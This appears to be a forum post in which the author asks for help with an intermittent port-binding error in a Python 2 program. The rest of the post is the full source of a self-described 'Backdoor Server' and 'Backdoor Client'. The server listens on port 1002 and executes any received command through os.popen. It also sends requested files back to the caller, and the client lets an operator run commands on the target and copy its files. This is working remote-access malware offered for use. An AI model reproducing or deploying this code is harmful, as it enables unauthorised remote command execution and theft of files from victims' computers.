Everything works great. But sometimes I get an Error message saying something about ip/port bindings. I don't have the traceback
but this could cause problems down the road.
Any suggestions?
#Backdoor Server
#Version 0.3.0
#Every now and the I get an Error dealing with the ip/port bindings
# seems it doesn't like the same port used over and over again...
# This could cause problems.
#NOTE: can't change dirves
#######
import socket, os
import os.path
def cd(st):
try:
st.index("cd ")
return True
except ValueError: return False
def fil(cmnd):
try:
cmnd.index('=-=-')
return True
except ValueError: return False
def give(file):
file = file[12:]
try:
f = open(file,'rb')
f = f.read()
x = '=-=-start-=-='+f+'=-=-fin-=-='
return x
except IOError:
return "No such file"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('',1002))
s.listen(5)
conn, addr = s.accept()
while 1:
data = conn.recv(1000000)
if data == "cd..":
x = os.path.split(os.getcwd())
os.chdir(x[0])
conn.send(x[0])
#doesn't work with full paths ie "cd C:\Windows\Config\Sytem32\"
elif cd(data) == True:
try:
os.chdir(os.getcwd()+"\\%s" % data[3:])
conn.send(os.getcwd())
except WindowsError: conn.send("No Such dir..")
elif fil(data) == True:
fle = give(data)
conn.send(fle)
else:
c = os.popen(data)
c = c.read()
if c == '':
conn.send("Not Readble")
conn.send(c)
#Backdoor Client
#Version: 0.1.0
#
#when give is invoked it will copy the targets byte data
# it creats a new file named after the target; if you use
# give on a file you already have it will append to it doubling the size
# tests show no effect on this appending double.
#NOTE: can't change drives
#######
import os, socket
def y(fle):
if fle[:13] == '=-=-start-=-=' or fle[-11:] == '=-=-fin-=-=':
return True
else: return False
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((raw_input("I.P.:: "),1002)) #Change localhost to your servers IP
while 1:
cmnd = raw_input("Tech B>>")
if cmnd == "commands":
print """=-=-give-=-=
copies the selected file to the directory
that contains the client program
syntax:
'Tech B>>=-=-give-=-=file_to_copy.exe'
this function is not limited to the extention due to copying of the byte code
"""
s.send(cmnd)
data = s.recv(10000000)
if y(data) == True:
data = data[13:]
while 1:
try:
if data[-11:] != '=-=-fin-=-=':
nfile = open(cmnd[12:],"ab")
nfile.write(data)
data = s.recv(10000000)
else:
nfile.write(data[:-11])
nfile.close()
except ValueError: break
if y(data) == False: print data